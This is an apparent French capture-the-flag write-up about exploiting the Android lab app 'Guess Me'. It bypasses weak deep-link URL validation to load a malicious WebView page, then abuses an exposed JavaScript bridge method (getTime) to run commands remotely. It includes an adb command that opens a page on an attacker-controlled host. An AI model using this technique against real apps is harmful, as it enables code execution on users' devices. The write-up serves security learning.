Objectif

Exploiter une vulnérabilité relative aux deep links pour l’exécution de code à distance : votre mission consiste à manipuler la fonctionnalité de deep links dans l’application Android « Guess Me », ce qui vous permettra d’exécuter du code à distance et d’obtenir un accès non autorisé.

Outil

• Jadx – https://github.com/skylot/jadx
• ADB – https://developer.android.com/tools/adb?hl=fr
• MobSF – https://github.com/MobSF/Mobile-Security-Framework-MobSF
• Beeceptor – https://beeceptor.com/

Installation

Pour commencer, nous allons installer l’application sur un périphérique virtuel (bien que cela fonctionne également avec les périphériques physiques), le tout grâce à ADB :

$ adb install com.mobilehackinglab.guessme.apk
Performing Streamed Install
Success

L’application est installée avec succès et se lance parfaitement :

Commençons l’analyse !

Fichier AndroidManifest.xml

Voici le fichier AndroidManifest.xml de l’application Guess Me :

Il est possible d’identifier deux activity exportées, c’est-à-dire accessibles par d’autres applications du système :

• com.mobilehackinglab.guessme.MainActivity est l’activity qui sera lancée par défaut quand l’utilisateur clique sur l’icône de l’application.

• com.mobilehackinglab.guessme.WebviewActivity quant à elle, est une activity pouvant être déclenchée depuis un navigateur ou une application. Cette dernière peut être déclenchée par des URI de type mhl://mobilehackinglab, aussi appelées deep links.

Pour rappel, les deep links (Android >= 6.0) sont des URI conçues pour s’ouvrir directement dans une application mobile, guidant les utilisateurs vers un contenu ou une action spécifique sans passer par l’écran d’accueil de l’application.

Compréhension de WebviewActivity et contournement de filtres

Au sein de WebviewActivity, il est possible d’identifier le code suivant :

Lorsqu’un nouvel Intent est reçu alors que l’activité est déjà en cours d’exécution, la méthode onNewIntent() est appelée.

Après avoir exécuté le comportement standard via super.onNewIntent(intent), l’exécution est déléguée à la méthode handleDeepLink(intent). Cette dernière extrait l’URI contenu dans l’Intent et, si celui-ci est présent, vérifie sa validité en appelant isValidDeepLink(uri).

Par la suite, la validation consiste à s’assurer que le schéma de l’URI est soit mhl soit https, que l’hôte est exactement mobilehackinglab, et que le paramètre de requête « url » se termine par mobilehackinglab.com.

Si ces conditions sont remplies, la méthode loadDeepLink(uri) est invoquée pour charger le contenu ciblé par le deep link en lisant le paramètre « url ».

Ce type de validation, bien connue des applications utilisant des Webview peut se contourner en ajoutant simplement la chaîne mobilehackinglab.com en fin du paramètre URL sans que l’hôte réel ne soit vérifié.

Il est donc possible d’ouvrir une Webview potentiellement malveillante grâce à la commande suivante : adb shell am start -a android.intent.action.VIEW -d « mhl://mobilehackinglab?url= https://malicious.orhus.fr /exploit.html?mobilehackinglab.com »

Cette dernière répond aux exigences de la fonction isValidDeepLink(uri).

Introduction et exploitation d’une Webview

Les WebViews permettent aux applications natives d’intégrer du contenu web de manière transparente.

Elles sont conçues pour être flexibles et s’aligner sur la conception visuelle et fonctionnelle de l’application.

En fonction de leur configuration, les WebView représentent un risque de sécurité pour l’application mais aussi le périphérique.

Lors d’un audit, certaines fonctionnalités sont donc à regarder de près, notamment addJavascriptInterface.

Dans notre cas de figure, MobSF nous indique la présence d’addJavascriptInterface, en ligne 52 du fichier WebviewActivity.java :

Cette ligne permet à la WebView webView3 de créer un pont entre le code Java de l’application et le JavaScript exécuté dans la page affichée. L’objet MyJavaScriptInterface est injecté et sera accessible côté JavaScript sous le nom « AndroidBridge« , autorisant la page à invoquer directement certaines méthodes natives de l’application (les méthodes annotées @JavascriptInterface).

Une fois de plus, MobSF nous permet d’identifier ces fameuses « JavaScript Interface Methods » :

Au sein du fichier MyJavaScriptInterface.java, la fonction getTime semble particulièrement intéressante ! En effet, celle-ci exécute du code sans vérification sur le système sous-jacent pouvant mener à une exécution de code arbitraire (RCE) :

On assemble et on exploite ?

A présent, il est donc possible de contourner la fonction isValidDeepLink(uri) pour exécuter une page accédant aux méthodes natives de l’application (par le biais des méthodes annotées @JavascriptInterface).

Il est alors possible de mettre en place le code JavaScript suivant au sein de beeceptor (ou autre) :

L’appel à la Webview malveillante permet alors d’exécuter la commande whoami à distance :